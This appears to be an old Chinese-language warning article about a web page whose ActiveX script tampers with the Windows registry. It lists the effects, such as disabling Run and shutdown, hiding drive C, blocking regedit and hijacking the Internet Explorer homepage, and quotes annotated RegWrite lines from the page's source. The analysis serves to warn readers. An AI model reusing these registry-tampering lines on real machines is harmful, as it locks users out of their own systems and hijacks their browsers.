浏览网页会被修改注册表?千真万确!如果你去浏览过下面的网页:http://www.findfeel.com/default.htm ,你真有生不如死的感觉!
进入该网页会被:
1.修改开始菜单
1)禁止“关闭系统”
2)禁止“运行”
3)禁止“注销”
2.隐藏C盘——你的C盘找不到了
3.禁止使用注册表编辑器regedit
4.禁止使用DOS程序
5.使系统无法进入“实模式”
6.禁止运行任何程序
7.将IE浏览器的首页改为http://www.findfeel.com/,收藏夹中也被加入该网址。
那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。
注:下面代码是将你的IE默认连接首页改为http://www.findfeel.com/
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http://www.findfeel.com/");
注:以下是该网页修改受害者的注册表项所用的招数
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");
注:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。